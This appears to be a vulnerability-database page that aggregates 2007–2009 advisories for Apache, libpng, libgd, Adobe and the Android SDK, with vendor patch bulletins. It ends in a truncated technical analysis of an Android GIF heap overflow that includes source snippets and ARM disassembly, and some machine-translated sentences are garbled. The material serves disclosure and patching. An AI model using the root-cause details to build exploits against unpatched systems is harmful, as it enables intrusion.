VARIoT IoT vulnerabilities database

The installer for Adobe Version Cue CS3 Server on Apple Mac OS X, as used in Adobe Creative Suite 3 (CS3), does not re-enable the personal firewall after completing the product installation, which allows remote attackers to bypass intended firewall rules. Adobe Version Cue CS3 Server is prone to a weakness that results from a design error. An attacker could take advantage of this weakness to exploit other vulnerabilities or to carry out a variety of attacks against a computer

The ap_proxy_http_process_response function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server 2.0.63 and 2.2.8 does not limit the number of forwarded interim responses, which allows remote HTTP servers to cause a denial of service (memory consumption) via a large number of interim responses. (DoS) Vulnerabilities exist.Denial of service due to response sent in large quantities by third parties (DoS) There is a possibility of being put into a state. Attackers may exploit this issue to cause denial-of-service conditions. Reportedly, the issue affects Apache 2.2.8 and 2.0.63; other versions may also be affected. Hitachi Web Server is prone to a denial-of-service vulnerability because the reverse proxy function fails to properly handle invalid responses from a remote backend server. Apple Mac OS X is prone to multiple security vulnerabilities that have been addressed in Security Update 2008-007. The security update addresses a total of 11 new vulnerabilities that affect the ColorSync, CUPS, Finder, launchd, Networking, Postfix, PSNormalizer, rlogin, Script Editor, and Weblog components of Mac OS X. The advisory also contains security updates for 30 previously reported issues. NOTE: This BID is being retired; the following individual records have been created to better document these issues: 31716 Apple Script Editor Unspecified Insecure Temporary File Creation Vulnerability 31718 Apple Mac OS X Server Weblog Access Control List Security Bypass Vulnerability 31708 Apple Mac OS X 'hosts.equiv' Security Bypass Vulnerability 31721 Apple Mac OS X 10.5 Postfix Security Bypass Vulnerability 31719 Apple PSNormalizer PostScript Buffer Overflow Vulnerability 31711 Apple Mac OS X 'configd' EAPOLController Plugin Local Heap Based Buffer Overflow Vulnerability 31715 Apple Mac OS X ColorSync ICC Profile Remote Buffer Overflow Vulnerability 31720 Apple Finder Denial of Service Vulnerability 31707 Apple OS X QuickLook Excel File Integer Overflow Vulnerability 31688 CUPS 'HP-GL/2' Filter Remote Code Execution Vulnerability 31722 Apple Mac OS X 10.5 'launchd' Unspecified Security Bypass Vulnerability. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c01650939 Version: 1 HPSBUX02401 SSRT090005 rev.1 - HP-UX Running Apache Web Server Suite, Remote Denial of Service (DoS), Cross-site Scripting (XSS), Execution of Arbitrary Code, Cross-Site Request Forgery (CSRF) NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. Release Date: 2009-02-02 Last Updated: 2009-02-02 Potential Security Impact: Remote Denial of Service (DoS), cross-site scripting (XSS), execution of arbitrary code, cross-site request forgery (CSRF) Source: Hewlett-Packard Company, HP Software Security Response Team VULNERABILITY SUMMARY Potential security vulnerabilities have been identified with HP-UX running Apache-based Web Server or Tomcat-based Servelet Engine. The vulnerabilities could be exploited remotely to cause a Denial of Service (DoS), cross-site scripting (XSS), execution of arbitrary code, or cross-site request forgery (CSRF). Apache-based Web Server and Tomcat-based Servelet Engine are contained in the Apache Web Server Suite. References: CVE-2007-6420, CVE-2008-1232, CVE-2008-1947, CVE-2008-2364, CVE-2008-2370, CVE-2008-2938, CVE-2008-2939, CVE-2008-3658 SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HP-UX B.11.23 and B.11.31 running Apache-based Web Server v2.2.8.01.01 or earlier or Tomcat-based Servelet Engine v5.5.27.01.01 or earlier HP-UX B.11.11 running Apache-based Web Server v2.2.8.01.01 or earlier BACKGROUND CVSS 2.0 Base Metrics =============================================== Reference Base Vector Base Score CVE-2007-6420 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3 CVE-2008-1232 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3 CVE-2008-1947 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3 CVE-2008-2364 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 5.0 CVE-2008-2370 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 5.0 CVE-2008-2938 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3 CVE-2008-2939 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3 CVE-2008-3658 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 7.5 =============================================== Information on CVSS is documented in HP Customer Notice: HPSN-2008-002. RESOLUTION HP has provided the following upgrades to resolve these vulnerabilities. The upgrades are available from the following location: URL: http://software.hp.com Note: HP-UX Web Server Suite v.3.02 contains HP-UX Apache-based Web Server v.2.2.8.01.02 and HP-UX Tomcat-based Servlet Engine 5.5.27.01.01 HP-UX Release - B.11.23 and B.11.31 PA-32 Apache Depot name - HPUXWSATW-B302-32.depot HP-UX Release - B.11.23 and B.11.31 IA-64 Apache Depot name - HPUXWSATW-B302-64.depot HP-UX Release - B.11.11 PA-32 Apache Depot name - HPUXWSATW-B222-1111.depot MANUAL ACTIONS: Yes - Update Install Apache-based Web Server or Tomcat-based Servelet Engine from the Apache Web Server Suite v3.02 or subsequent PRODUCT SPECIFIC INFORMATION HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa The following text is for use by the HP-UX Software Assistant. AFFECTED VERSIONS HP-UX B.11.11 ================== hpuxwsAPACHE.APACHE hpuxwsAPACHE.APACHE2 hpuxwsAPACHE.AUTH_LDAP hpuxwsAPACHE.AUTH_LDAP2 hpuxwsAPACHE.MOD_JK hpuxwsAPACHE.MOD_JK2 hpuxwsAPACHE.MOD_PERL hpuxwsAPACHE.MOD_PERL2 hpuxwsAPACHE.PHP hpuxwsAPACHE.PHP2 hpuxwsAPACHE.WEBPROXY hpuxwsTOMCAT.TOMCAT hpuxwsWEBMIN.WEBMIN action: install revision B.2.2.8.01.02 or subsequent URL: http://software.hp.com HP-UX B.11.23 ================== hpuxws22APCH32.APACHE hpuxws22APCH32.APACHE2 hpuxws22APCH32.AUTH_LDAP hpuxws22APCH32.AUTH_LDAP2 hpuxws22APCH32.MOD_JK hpuxws22APCH32.MOD_JK2 hpuxws22APCH32.MOD_PERL hpuxws22APCH32.MOD_PERL2 hpuxws22APCH32.PHP hpuxws22APCH32.PHP2 hpuxws22APCH32.WEBPROXY hpuxws22APCH32.WEBPROXY2 hpuxws22TOMCAT.TOMCAT hpuxws22WEBMIN.WEBMIN action: install revision B.2.2.8.01.02 or subsequent URL: http://software.hp.com HP-UX B.11.31 ================== hpuxws22APACHE.APACHE hpuxws22APACHE.APACHE2 hpuxws22APACHE.AUTH_LDAP hpuxws22APACHE.AUTH_LDAP2 hpuxws22APACHE.MOD_JK hpuxws22APACHE.MOD_JK2 hpuxws22APACHE.MOD_PERL hpuxws22APACHE.MOD_PERL2 hpuxws22APACHE.PHP hpuxws22APACHE.PHP2 hpuxws22APACHE.WEBPROXY hpuxws22APACHE.WEBPROXY2 hpuxws22TOMCAT.TOMCAT hpuxws22WEBMIN.WEBMIN action: install revision B.2.2.8.01.02 or subsequent URL: http://software.hp.com END AFFECTED VERSIONS HISTORY Version:1 (rev.1) 2 February 2009 Initial release Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. Support: For further information, contact normal HP Services support channel. Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information. To get the security-alert PGP key, please send an e-mail message as follows: To: security-alert@hp.com Subject: get key Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email: http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC On the web page: ITRC security bulletins and patch sign-up Under Step1: your ITRC security bulletins and patches - check ALL categories for which alerts are required and continue. Under Step2: your ITRC operating systems - verify your operating system selections are checked and save. To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php Log in on the web page: Subscriber's choice for Business: sign-in. On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections. To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do * The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title: GN = HP General SW MA = HP Management Agents MI = Misc. 3rd Party SW MP = HP MPE/iX NS = HP NonStop Servers OV = HP OpenVMS PI = HP Printing & Imaging ST = HP Storage SW TL = HP Trusted Linux TU = HP Tru64 UNIX UX = HP-UX VV = HP VirtualVault System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions. "HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement." \xa9Copyright 2009 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. -----BEGIN PGP SIGNATURE----- Version: PGP 8.1 iQA/AwUBSYhX8+AfOvwtKn1ZEQJxcACeJa8lt5TkhV5qnaGRTaBh4kqHutgAoJbH XCe08aGCzEZj/q4n91JQnhq6 =XImF -----END PGP SIGNATURE----- . The HP Business Availability Center v8.02 kit is available on the HP Software Support Online portal at: http://support.openview.hp.com/support.jsp . =========================================================== Ubuntu Security Notice USN-731-1 March 10, 2009 apache2 vulnerabilities CVE-2007-6203, CVE-2007-6420, CVE-2008-1678, CVE-2008-2168, CVE-2008-2364, CVE-2008-2939 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 7.10 Ubuntu 8.04 LTS This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: apache2-common 2.0.55-4ubuntu2.4 apache2-mpm-perchild 2.0.55-4ubuntu2.4 apache2-mpm-prefork 2.0.55-4ubuntu2.4 apache2-mpm-worker 2.0.55-4ubuntu2.4 Ubuntu 7.10: apache2-mpm-event 2.2.4-3ubuntu0.2 apache2-mpm-perchild 2.2.4-3ubuntu0.2 apache2-mpm-prefork 2.2.4-3ubuntu0.2 apache2-mpm-worker 2.2.4-3ubuntu0.2 apache2.2-common 2.2.4-3ubuntu0.2 Ubuntu 8.04 LTS: apache2-mpm-event 2.2.8-1ubuntu0.4 apache2-mpm-perchild 2.2.8-1ubuntu0.4 apache2-mpm-prefork 2.2.8-1ubuntu0.4 apache2-mpm-worker 2.2.8-1ubuntu0.4 apache2.2-common 2.2.8-1ubuntu0.4 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: It was discovered that Apache did not sanitize the method specifier header from an HTTP request when it is returned in an error message, which could result in browsers becoming vulnerable to cross-site scripting attacks when processing the output. With cross-site scripting vulnerabilities, if a user were tricked into viewing server output during a crafted server request, a remote attacker could exploit this to modify the contents, or steal confidential data (such as passwords), within the same domain. (CVE-2007-6203) It was discovered that Apache was vulnerable to a cross-site request forgery (CSRF) in the mod_proxy_balancer balancer manager. If an Apache administrator were tricked into clicking a link on a specially crafted web page, an attacker could trigger commands that could modify the balancer manager configuration. (CVE-2007-6420) It was discovered that Apache had a memory leak when using mod_ssl with compression. A remote attacker could exploit this to exhaust server memory, leading to a denial of service. (CVE-2008-1678) It was discovered that in certain conditions, Apache did not specify a default character set when returning certain error messages containing UTF-7 encoded data, which could result in browsers becoming vulnerable to cross-site scripting attacks when processing the output. (CVE-2008-2364) It was discovered that mod_proxy_ftp did not sanitize wildcard pathnames when they are returned in directory listings, which could result in browsers becoming vulnerable to cross-site scripting attacks when processing the output. (CVE-2008-2939) Updated packages for Ubuntu 6.06 LTS: Source archives: http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.4.diff.gz Size/MD5: 123478 7a5b444231dc27ee60c1bd63f42420c6 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.4.dsc Size/MD5: 1156 4f9a0f31d136914cf7d6e1a92656a47b http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55.orig.tar.gz Size/MD5: 6092031 45e32c9432a8e3cf4227f5af91b03622 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-doc_2.0.55-4ubuntu2.4_all.deb Size/MD5: 2124948 5153435633998e4190b54eb101afd271 amd64 architecture (Athlon64, Opteron, EM64T Xeon): http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-common_2.0.55-4ubuntu2.4_amd64.deb Size/MD5: 833336 d5b9ecf82467eb04a94957321c4a95a2 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-perchild_2.0.55-4ubuntu2.4_amd64.deb Size/MD5: 228588 f4b9b82016eb22a60da83ae716fd028a http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.0.55-4ubuntu2.4_amd64.deb Size/MD5: 223600 2cf77e3daaadcc4e07da5e19ecac2867 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.0.55-4ubuntu2.4_amd64.deb Size/MD5: 228216 60ff106ddefe9b68c055825bcd6ec52f http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.0.55-4ubuntu2.4_amd64.deb Size/MD5: 171724 bae5e3d30111e97d34b25594993ad488 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.0.55-4ubuntu2.4_amd64.deb Size/MD5: 172508 77bdf00092378c89ae8be7f5139963e0 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.0.55-4ubuntu2.4_amd64.deb Size/MD5: 94562 f3a168c57db1f5be11cfdba0bdc20062 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.4_amd64.deb Size/MD5: 36618 a7f34da28f7bae0cffb3fdb73da70143 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http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-common_2.0.55-4ubuntu2.4_powerpc.deb Size/MD5: 859446 cf555341c1a8b4a39808b8a3bd76e03a http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-perchild_2.0.55-4ubuntu2.4_powerpc.deb Size/MD5: 220622 85b902b9eecf3d40577d9e1e8bf61467 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.0.55-4ubuntu2.4_powerpc.deb Size/MD5: 216314 146e689e30c6e1681048f6cf1dd659e3 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.0.55-4ubuntu2.4_powerpc.deb Size/MD5: 220128 10f65b3961a164e070d2f18d610df67b http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.0.55-4ubuntu2.4_powerpc.deb Size/MD5: 171726 9e341f225cb19d5c44f343cc68c0bba5 http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.0.55-4ubuntu2.4_powerpc.deb Size/MD5: 172512 331dff8d3de7cd694d8e115417bed4f8 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References: CVE-2006-3918, CVE-2007-4465, CVE-2007-6203, CVE-2008-0005, CVE-2008-0599, CVE-2008-2168, CVE-2008-2364, CVE-2008-2371, CVE-2008-2665, CVE-2008-2666, CVE-2008-2829, CVE-2008-2939, CVE-2008-3658, CVE-2008-3659, CVE-2008-3660, CVE-2008-5498, CVE-2008-5557, CVE-2008-5624, CVE-2008-5625, CVE-2008-5658

The png_handle_tRNS function in pngrutil.c in libpng before 1.0.25 and 1.2.x before 1.2.17 allows remote attackers to cause a denial of service (application crash) via a grayscale PNG image with a bad tRNS chunk CRC value. The libpng library contains a denial-of-service vulnerability. libpng There is a service disruption (DoS) Vulnerabilities exist PNG (Portable Network Graphics) Format image processing library libpng of png_handle_tRNS() Functions include CRC Incorrect processing after check PNG Denial of service when processing files (DoS) There is a vulnerability that becomes a condition.Web Pre-crafted, installed on site or attached to email png By browsing the file, service operation interruption (DoS) It may be in a state. Successful exploits may allow remote attackers to cause denial-of-service conditions on computers running the affected library. This issue affects 'libpng' 1.2.16 and prior versions. CVE-2007-3476 An array indexing error in libgd's GIF handling could induce a denial of service (crash with heap corruption) if exceptionally large color index values are supplied in a maliciously crafted GIF image file. CVE-2007-3477 The imagearc() and imagefilledarc() routines in libgd allow an attacker in control of the parameters used to specify the degrees of arc for those drawing functions to perform a denial of service attack (excessive CPU consumption). CVE-2007-3996 Multiple integer overflows exist in libgd's image resizing and creation routines; these weaknesses allow an attacker in control of the parameters passed to those routines to induce a crash or execute arbitrary code with the privileges of the user running an application or interpreter linked against libgd2. Debian GNU/Linux 4.0 alias etch - ------------------------------- Debian (stable) - --------------- Stable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-1750-1 security@debian.org http://www.debian.org/security/ Florian Weimer March 22, 2009 http://www.debian.org/security/faq - ------------------------------------------------------------------------ Package : libpng Vulnerability : several Problem type : local (remote) Debian-specific: no CVE Id(s) : CVE-2007-2445 CVE-2007-5269 CVE-2008-1382 CVE-2008-5907 CVE-2008-6218 CVE-2009-0040 Debian Bug : 446308 476669 516256 512665 Several vulnerabilities have been discovered in libpng, a library for reading and writing PNG files. (CVE-2008-1382) The png_check_keyword might allow context-dependent attackers to set the value of an arbitrary memory location to zero via vectors involving creation of crafted PNG files with keywords. (CVE-2009-0040) For the old stable distribution (etch), these problems have been fixed in version1.2.15~beta5-1+etch2. For the stable distribution (lenny), these problems have been fixed in version 1.2.27-2+lenny2. (Only CVE-2008-5907, CVE-2008-5907 and CVE-2009-0040 affect the stable distribution.) For the unstable distribution (sid), these problems have been fixed in version 1.2.35-1. We recommend that you upgrade your libpng packages. Upgrade instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. 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Size/MD5 checksum: 66216 07bcad5c11908d2fe6d358dfc94d9051 http://security.debian.org/pool/updates/main/libp/libpng/libpng12-dev_1.2.27-2+lenny2_sparc.deb Size/MD5 checksum: 247212 f388365559e6b9313aa6048c6fa341f9 http://security.debian.org/pool/updates/main/libp/libpng/libpng12-0_1.2.27-2+lenny2_sparc.deb Size/MD5 checksum: 162316 16f01a96b1fec79e9614df831dba6a05 These files will probably be moved into the stable distribution on its next update. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201412-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: AMD64 x86 emulation base libraries: Multiple vulnerabilities Date: December 12, 2014 Bugs: #196865, #335508, #483632, #508322 ID: 201412-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in AMD64 x86 emulation base libraries, the worst of which may allow remote execution of arbitrary code. Background ========== AMD64 x86 emulation base libraries provides pre-compiled 32-bit libraries. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-emulation/emul-linux-x86-baselibs < 20140406-r1 >= 20140406-r1 Description =========== Multiple vulnerabilities have been discovered in AMD64 x86 emulation base libraries. Please review the CVE identifiers referenced below for details. Workaround ========== There is no known workaround at this time. Resolution ========== All users of the AMD64 x86 emulation base libraries should upgrade to the latest version: # emerge --sync # emerge -1av ">=app-emulation/emul-linux-x86-baselibs-20140406-r1" NOTE: One or more of the issues described in this advisory have been fixed in previous updates. They are included in this advisory for the sake of completeness. It is likely that your system is already no longer affected by them. References ========== [ 1 ] CVE-2007-0720 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-0720 [ 2 ] CVE-2007-1536 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-1536 [ 3 ] CVE-2007-2026 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-2026 [ 4 ] CVE-2007-2445 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-2445 [ 5 ] CVE-2007-2741 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-2741 [ 6 ] CVE-2007-3108 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3108 [ 7 ] CVE-2007-4995 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-4995 [ 8 ] CVE-2007-5116 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5116 [ 9 ] CVE-2007-5135 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5135 [ 10 ] CVE-2007-5266 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5266 [ 11 ] CVE-2007-5268 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5268 [ 12 ] CVE-2007-5269 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5269 [ 13 ] CVE-2007-5849 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5849 [ 14 ] CVE-2010-1205 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1205 [ 15 ] CVE-2013-0338 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-0338 [ 16 ] CVE-2013-0339 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-0339 [ 17 ] CVE-2013-1664 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-1664 [ 18 ] CVE-2013-1969 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-1969 [ 19 ] CVE-2013-2877 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-2877 [ 20 ] CVE-2014-0160 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0160 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-201412-11.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2014 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs Multiple vulnerabilities in Google's Android SDK *Advisory Information* Title: Multiple vulnerabilities in Google's Android SDK Advisory ID: CORE-2008-0124 Advisory URL: http://www.coresecurity.com/?action=item&id=2148 Date published: 2008-03-04 Date of last update: 2008-03-04 Vendors contacted: Google Release mode: Coordinated release *Vulnerability Information* Class: Heap overflow, integer overflow Remotely Exploitable: No Locally Exploitable: No Bugtraq ID: 28006, 28005 CVE Name: CVE-2008-0986, CVE-2008-0985, CVE-2006-5793, CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269 *Vulnerability Description* Android is project promoted primarily by Google through the Open Handset Alliance aimed at providing a complete set of software for mobile devices: an operating system, middleware and key mobile applications [1]. Although the project is currently in a development phase and has not made an official release yet, several vendors of mobile chips have unveiled prototype phones built using development releases of the platform at the Mobile World Congress [2]. Development using the Android platform gained activity early in 2008 as a result of Google's launch of the Android Development Challenge which includes $10 million USD in awards [3] for which a Software Development Kit (SDK) was made available in November 2007. The Android Software Development Kit includes a fully functional operating system, a set of core libraries, application development frameworks, a virtual machine for executing application and a phone emulator based on the QEMU emulator [4]. Public reports as of February 27th, 2008 state that the Android SDK has been downloaded 750,000 times since November 2007 [5]. Several vulnerabilities have been found in Android's core libraries for processing graphic content in some of the most used image formats (PNG, GIF an BMP). While some of these vulnerabilities stem from the use of outdated and vulnerable open source image processing libraries other were introduced by native Android code that use them or that implements new functionality. Exploitation of these vulnerabilities to yield complete control of a phone running the Android platform has been proved possible using the emulator included in the SDK, which emulates phone running the Android platform on an ARM microprocessor. This advisory contains technical descriptions of these security bugs, including a proof of concept exploit to run arbitrary code, proving the possibility of running code on Android stack (over an ARM architecture) via a binary exploit. *Vulnerable Packages* . Android SDK m3-rc37a and earlier are vulnerable several bugs in components that process GIF, PNG and BMP images (bugs #1, #2 and #3 of this advisory). Android SDK m5-rc14 is vulnerable to a security bug in the component that process BMP images (bug #3). *Non-vulnerable Packages* . Android SDK m5-rc15 *Vendor Information, Solutions and Workarounds* Vendor statement: "The current version of the Android SDK is an early look release to the open source community, provided so that developers can begin working with the platform to inform and shape our development of Android toward production readiness. The Open Handset Alliance welcomes input from the security community throughout this process. There will be many changes and updates to the platform before Android is ready for end users, including a full security review." *Credits* These vulnerabilities were discovered by Alfredo Ortega from Core Security Technologies, leading his Bugweek 2007 team called "Pampa Grande". It was researched in depth by Alfredo Ortega. *Technical Description / Proof of Concept Code* Android is a software stack for mobile devices that includes an operating system, middleware and key applications. Android relies on Linux version 2.6 for core system services such as security, memory management, process management, network stack, and driver model. The kernel also acts as an abstraction layer between the hardware and the rest of the software stack. The WebKit application framework is included to facilitate development of web client application functionality. The framework in turn uses different third-party open source libraries to implement processing of several image formats. Android includes a web browser based on the Webkit framework that contains multiple binary vulnerabilities when processing .GIF, .PNG and .BMP image files, allowing malicious client-side attacks on the web browser. A client-side attack could be launched from a malicious web site, hosting specially crafted content, with the possibility of executing arbitrary code on the victim's Android system. These client-side binary vulnerabilities were discovered using the Android SDK that includes an ARM architecture emulator. Binary vulnerabilities are the most common security bugs in computer software. Basic bibliography on these vulnerabilities includes a recently updated handbook about security holes that also describes current state-of-the-start exploitation techniques for different hardware platforms and operating systems [6]. The vulnerabilities discovered are summarized below grouped by the type of image file format that is parsed by the vulnerable component. #1 - GIF image parsing heap overflow The Graphics Interchange Format (GIF) is image format dating at least from 1989 [7]. It was popularized because GIF images can be compressed using the Lempel-Ziv-Welch (LZW) compression technique thus reducing the memory footprint and bandwidth required for transmission and storage. A memory corruption condition happens within the GIF processing library of the WebKit framework when the function 'GIFImageDecoder::onDecode()' allocates a heap buffer based on the _Logical Screen Width and Height_ filed of the GIF header (offsets 6 and 8) and then the resulting buffer is filled in with an amount of data bytes that is calculated based on the real Width and Height of the GIF image. There is a similar (if not the same) bug in the function 'GIFImageDecoder::haveDecodedRow() 'in the open-source version included by Android in 'WebKitLib\WebKit\WebCore\platform\image-decoders\gif\GifImageDecoder.cpp' inside 'webkit-522-android-m3-rc20.tar.gz' available at [8]. Detailed analysis: When the process 'com.google.android.browser' must handle content with a GIF file it loads a dynamic library called 'libsgl.so' which contains the decoders for multiple image file formats. Decoding of the GIF image is performed correctly by the library giflib 4.0 (compiled inside 'libsgl.so'). However, the wrapper object 'GIFImageDecoder' miscalculates the total size of the image. First, the Logical Screen Size is read and stored in the following calling sequence (As giflib is an Open Source MIT-licenced library, the source was available for analysis): 'GIFImageDecoder::onDecode()->DGifOpen()->DGifGetScreenDesc()'. The last function, 'DGifGetScreenDesc()', stores the _Logical Screen Width and Height_ in a structure called 'GifFileType': /----------- Int DGifGetScreenDesc(GifFileType * GifFile) { ... /* Put the screen descriptor into the file: */ if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_ERROR || DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR) return GIF_ERROR; ... } - -----------/ We can see that the fields are stored in the first 2 words of the structure: /----------- typedef struct GifFileType { /* Screen dimensions. */ GifWord SWidth, SHeight, ... } - -----------/ In the disassembly of the GIFImageDecoder::onDecode() function provided below we can see how the DGifOpen() function is called and that the return value (A GifFileType struct) is stored on the $R5 ARM register: /----------- .text:0002F234 BL _DGifOpen .text:0002F238 SUBS R5, R0, #0 ; GifFile -_ $R5 - -----------/ Then, the giflib function 'DGifSlurp()' is called and the Image size is correctly allocated using the Image Width and Height and not the Logical Screen Size: /----------- Int DGifSlurp(GifFileType * GifFile) { ... ImageSize = sp->ImageDesc.Width * sp->ImageDesc.Height; sp->RasterBits = (unsigned char *)malloc(ImageSize * sizeof(GifPixelType)); ... } - -----------/ Afterwards the _Logical Screen_ Width and Height are stored in the R9 and R11 registers: /----------- .text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth R11=SHeight ! - -----------/ However the actual image may be much larger that these sizes that are incorrectly passed to a number of methods of the 'GIFImageDecoder': /----------- ImageDecoder::chooseFromOneChoice(): .text:0002F294 MOV R0, R8 .text:0002F298 MOV R1, #3 .text:0002F29C MOV R2, R9 .text:0002F2A0 MOV R3, R11 .text:0002F2A4 STR R12, [SP,#0x48+var_3C] .text:0002F2A8 BL _ImageDecoder19chooseFromOneChoice; ImageDecoder::chooseFromOneChoice(SkBitmap::Config,int ,int) Bitmap::setConfig(): .text:0002F2B8 MOV R0, R7 ; R7 = SkBitmap .text:0002F2BC MOV R1, #3 .text:0002F2C0 MOV R2, R9 ; R9=SWidth R11=SHeight ! .text:0002F2C4 MOV R3, R11 .text:0002F2C8 STR R10, [SP,#0x48+var_48] .text:0002F2CC BL _Bitmap9setConfig ; 